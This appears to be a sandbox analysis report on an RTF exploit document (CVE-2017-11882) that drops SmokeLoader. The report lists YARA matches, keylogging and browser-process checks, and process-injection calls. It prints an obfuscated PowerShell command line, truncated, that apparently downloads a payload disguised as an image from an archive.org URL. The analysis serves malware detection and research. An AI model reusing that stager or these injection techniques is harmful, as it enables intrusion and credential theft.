Source: powershell.exe, 00000007.00000002.363583798.00000000002C0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.366421069.0000000004F59000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.363633576.00000000005B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg
Source: powershell.exe, 00000005.00000002.368085766.0000000002B22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia803104.us.archive.org/27/items/vbs_20240LR
Source: powershell.exe, 00000007.00000002.365103207.0000000003519000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: explorer.exe, 00000013.00000003.425511981.00000000003DE000.00000004.00000020.00020000.00000000.sdmp, E2E3.tmp.19.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: explorer.exe, 00000013.00000003.425511981.00000000003DE000.00000004.00000020.00020000.00000000.sdmp, E2E3.tmp.19.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: explorer.exe, 0000000C.00000002.628664936.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.374687564.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: E2E3.tmp.19.dr	String found in binary or memory: https://www.google.com/favicon.ico
Source: explorer.exe, 0000000C.00000002.628664936.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.374687564.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: explorer.exe, 0000000C.00000002.628664936.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.374687564.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/52.0.1/releasenotes

Source: unknown	Network traffic detected: HTTP traffic on port 49164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49164

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 00000019.00000002.628348956.0000000000061000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.628416578.00000000000C1000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 2840, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 2836, type: MEMORYSTR
Source: Yara match	File source: 7.2.powershell.exe.2878da8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.376080124.00000000000C1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.376068215.00000000000A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 26_2_0008162B GetKeyboardState,ToUnicode,

26_2_0008162B

E-Banking Fraud

Checks if browser processes are running

Source: C:\Windows\SysWOW64\explorer.exe	Code function: StrStrIA, chrome.exe\|opera.exe\|msedge.exe	22_2_00082EA8
Source: C:\Windows\SysWOW64\explorer.exe	Code function: GetModuleFileNameA,GetCurrentProcessId,wsprintfA,CreateMutexA,GetLastError,RtlInitializeCriticalSection,PathFindFileNameA,lstrcat,Sleep,lstrcmpi,lstrcmpi,GetCommandLineW,CommandLineToArgvW,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,lstrcmpi,lstrcmpi,lstrcmpi,StrStrIA,GetCommandLineA,GetCommandLineA,StrStrIA,GetModuleHandleA,lstrcmpi,GetCommandLineA,StrStrIA,lstrcmpi,GetCommandLineA,StrStrIA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,RtlExitUserThread,wsprintfA,lstrcmpi,CreateToolhelp32Snapshot,Process32First,CloseHandle,Sleep, firefox.exe	22_2_00083862
Source: C:\Windows\SysWOW64\explorer.exe	Code function: GetModuleFileNameA,GetCurrentProcessId,wsprintfA,CreateMutexA,GetLastError,RtlInitializeCriticalSection,PathFindFileNameA,lstrcat,Sleep,lstrcmpi,lstrcmpi,GetCommandLineW,CommandLineToArgvW,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,lstrcmpi,lstrcmpi,lstrcmpi,StrStrIA,GetCommandLineA,GetCommandLineA,StrStrIA,GetModuleHandleA,lstrcmpi,GetCommandLineA,StrStrIA,lstrcmpi,GetCommandLineA,StrStrIA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,RtlExitUserThread,wsprintfA,lstrcmpi,CreateToolhelp32Snapshot,Process32First,CloseHandle,Sleep, iexplore.exe	22_2_00083862
Source: C:\Windows\SysWOW64\explorer.exe	Code function: GetModuleFileNameA,GetCurrentProcessId,wsprintfA,CreateMutexA,GetLastError,RtlInitializeCriticalSection,PathFindFileNameA,lstrcat,Sleep,lstrcmpi,lstrcmpi,GetCommandLineW,CommandLineToArgvW,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,lstrcmpi,lstrcmpi,lstrcmpi,StrStrIA,GetCommandLineA,GetCommandLineA,StrStrIA,GetModuleHandleA,lstrcmpi,GetCommandLineA,StrStrIA,lstrcmpi,GetCommandLineA,StrStrIA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,RtlExitUserThread,wsprintfA,lstrcmpi,CreateToolhelp32Snapshot,Process32First,CloseHandle,Sleep, microsoftedgecp.exe	22_2_00083862
Source: C:\Windows\SysWOW64\explorer.exe	Code function: GetModuleFileNameA,GetCurrentProcessId,wsprintfA,CreateMutexA,GetLastError,RtlInitializeCriticalSection,PathFindFileNameA,lstrcat,Sleep,lstrcmpi,lstrcmpi,GetCommandLineW,CommandLineToArgvW,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,lstrcmpi,lstrcmpi,lstrcmpi,StrStrIA,GetCommandLineA,GetCommandLineA,StrStrIA,GetModuleHandleA,lstrcmpi,GetCommandLineA,StrStrIA,lstrcmpi,GetCommandLineA,StrStrIA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,RtlExitUserThread,wsprintfA,lstrcmpi,CreateToolhelp32Snapshot,Process32First,CloseHandle,Sleep, chrome.exe	22_2_00083862

System Summary

Malicious sample detected (through community Yara rule)

Source: SecuriteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.rtf, type: SAMPLE	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: 0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000A.00000002.376080124.00000000000C1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000A.00000002.376068215.00000000000A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: Process Memory Space: powershell.exe PID: 3516, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3628, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Very long command line found

Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 9402
Source: C:\Windows\SysWOW64\wscript.exe	Process created: Commandline size = 9402			Jump to behavior

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgID

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?Dg? ? ? ? ?M? ? ? ? ?? ? ? ? ?z? ? ? ? ?DE? ? ? ? ?M? ? ? ? ?? ? ? ? ?0? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?Mg? ? ? ? ?3? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?dgBi? ? ? ? ?HM? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?LwB2? ? ? ? ?GI? ? ? ? ?cw? ? ? ? ?u? ? ? ? ?Go? ? ? ? ?c? ? ? ? ?Bn? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?E4? ? ? ? ?ZQB3? ? ? ? ?C0? ? ? ? ?TwBi? ? ? ? ?Go? ? ? ? ?ZQBj? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?BT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?E4? ? ? ? ?ZQB0? ? ? ? ?C4? ? ? ? ?VwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?J? ? ? ? ?B3? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EQ? ? ? ? ?bwB3? ? ? ? ?G4? ? ? ? ?b? ? ? ? ?Bv? ? ? ? ?GE? ? ? ? ?Z? ? ? ? ?BE? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?WwBT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?LgBF? ? ? ? ?G4? ? ? ? ?YwBv? ? ? ? ?GQ? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?XQ? ? ? ? ?6? ? ? ? ?Do? ? ? ? ?VQBU? ? ? ? ?EY? ? ? ? ?O? ? ? ? ?? ? ? ? ?u? ? ? ? ?Ec? ? ? ? ?ZQB0? ? ? ? ?FM? ? ? ? ?d? ? ? ? ?By? ? ? ? ?Gk? ? ? ? ?bgBn? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?QgB5? ? ? ? ?HQ? ? ? ? ?ZQBz? ? ? ? ?Ck? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?EI? ? ? ? ?QQBT? ? ? ? ?EU? ? ? ? ?Ng? ? ? ? ?0? ? ? ? ?F8? ? ? ? ?UwBU? ? ? ? ?EE? ? ? ? ?UgBU? ? ? ? ?D4? ? ? ? ?Pg? ? ? ? ?n? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bl? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?E
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?Dg? ? ? ? ?M? ? ? ? ?? ? ? ? ?z? ? ? ? ?DE? ? ? ? ?M? ? ? ? ?? ? ? ? ?0? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?Mg? ? ? ? ?3? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?dgBi? ? ? ? ?HM? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?LwB2? ? ? ? ?GI? ? ? ? ?cw? ? ? ? ?u? ? ? ? ?Go? ? ? ? ?c? ? ? ? ?Bn? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?E4? ? ? ? ?ZQB3? ? ? ? ?C0? ? ? ? ?TwBi? ? ? ? ?Go? ? ? ? ?ZQBj? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?BT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?E4? ? ? ? ?ZQB0? ? ? ? ?C4? ? ? ? ?VwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?J? ? ? ? ?B3? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EQ? ? ? ? ?bwB3? ? ? ? ?G4? ? ? ? ?b? ? ? ? ?Bv? ? ? ? ?GE? ? ? ? ?Z? ? ? ? ?BE? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?WwBT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?LgBF? ? ? ? ?G4? ? ? ? ?YwBv? ? ? ? ?GQ? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?XQ? ? ? ? ?6? ? ? ? ?Do? ? ? ? ?VQBU? ? ? ? ?EY? ? ? ? ?O? ? ? ? ?? ? ? ? ?u? ? ? ? ?Ec? ? ? ? ?ZQB0? ? ? ? ?FM? ? ? ? ?d? ? ? ? ?By? ? ? ? ?Gk? ? ? ? ?bgBn? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?QgB5? ? ? ? ?HQ? ? ? ? ?ZQBz? ? ? ? ?Ck? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?EI? ? ? ? ?QQBT? ? ? ? ?EU? ? ? ? ?Ng? ? ? ? ?0? ? ? ? ?F8? ? ? ? ?UwBU? ? ? ? ?EE? ? ? ? ?UgBU? ? ? ? ?D4? ? ? ? ?Pg? ? ? ? ?n? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bl? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?E			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gwseuha	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 770B0000 page execute and read and write
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 770B0000 page execute and read and write

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00402F5D RtlCreateUserThread,NtTerminateProcess,	10_2_00402F5D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_004014BF NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	10_2_004014BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00402321 NtQuerySystemInformation,NtQueryInformationProcess,	10_2_00402321
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_004025D3 NtClose,	10_2_004025D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_004014D6 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	10_2_004014D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_004022D8 NtQuerySystemInformation,NtQueryInformationProcess,	10_2_004022D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_004022D9 NtQuerySystemInformation,NtQueryInformationProcess,	10_2_004022D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_004022E5 NtQuerySystemInformation,NtQueryInformationProcess,	10_2_004022E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_004014E8 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	10_2_004014E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_004014EB NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	10_2_004014EB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_004022F7 NtQuerySystemInformation,NtQueryInformationProcess,	10_2_004022F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_00402686 NtClose,	10_2_00402686
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_0040328D GetModuleHandleA,Sleep,MapViewOfFile,LocalAlloc,OpenProcessToken,NtOpenKey,wcsstr,	10_2_0040328D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 10_2_004030BF RtlCreateUserThread,NtTerminateProcess,	10_2_004030BF
Source: C:\Windows\explorer.exe	Code function: 12_2_02802FAC NtQueryInformationProcess,NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,WriteProcessMemory,	12_2_02802FAC
Source: C:\Windows\explorer.exe	Code function: 12_2_02804760 NtCreateSection,	12_2_02804760
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_000C4B92 RtlMoveMemory,NtUnmapViewOfSection,	19_2_000C4B92
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_000C33C3 NtQueryInformationFile,	19_2_000C33C3
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_000C342B NtQueryObject,NtQueryObject,RtlMoveMemory,	19_2_000C342B
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_000C349B CreateFileW,OpenProcess,NtQueryInformationProcess,NtQueryInformationProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,lstrcmpiW,NtQueryObject,StrRChrW,StrRChrW,lstrcmpiW,GetFileSize,SetFilePointer,SetFilePointer,ReadFile,SetFilePointer,CloseHandle,CloseHandle,CloseHandle,	19_2_000C349B
Source: C:\Windows\explorer.exe	Code function: 20_2_000638B0 NtUnmapViewOfSection,	20_2_000638B0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 21_2_00081016 RtlMoveMemory,NtUnmapViewOfSection,	21_2_00081016
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 22_2_00083D8D RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,	22_2_00083D8D
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 22_2_00082E1B OpenProcess,lstrcmpi,NtQueryInformationProcess,NtQueryInformationProcess,StrStrIW,	22_2_00082E1B
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 22_2_00081F4E NtCreateSection,NtMapViewOfSection,	22_2_00081F4E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 22_2_00081FE5 lstrcmpi,OpenProcess,NtSetInformationProcess,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,CloseHandle,CreateMutexA,GetLastError,CloseHandle,Sleep,GetModuleHandleA,GetProcAddress,ReadProcessMemory,WriteProcessMemory,CreateRemoteThread,CloseHandle,Sleep,WriteProcessMemory,CreateRemoteThread,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,	22_2_00081FE5
Source: C:\Windows\explorer.exe	Code function: 23_2_00065300 RtlAllocateHeap,NtUnmapViewOfSection,	23_2_00065300
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 24_2_000C1016 RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,GetCurrentProcessId,lstrcmpi,CreateToolhelp32Snapshot,Process32First,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,lstrcmpi,Process32Next,CloseHandle,Sleep,	24_2_000C1016
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 24_2_000C1A80 NtCreateSection,NtMapViewOfSection,	24_2_000C1A80
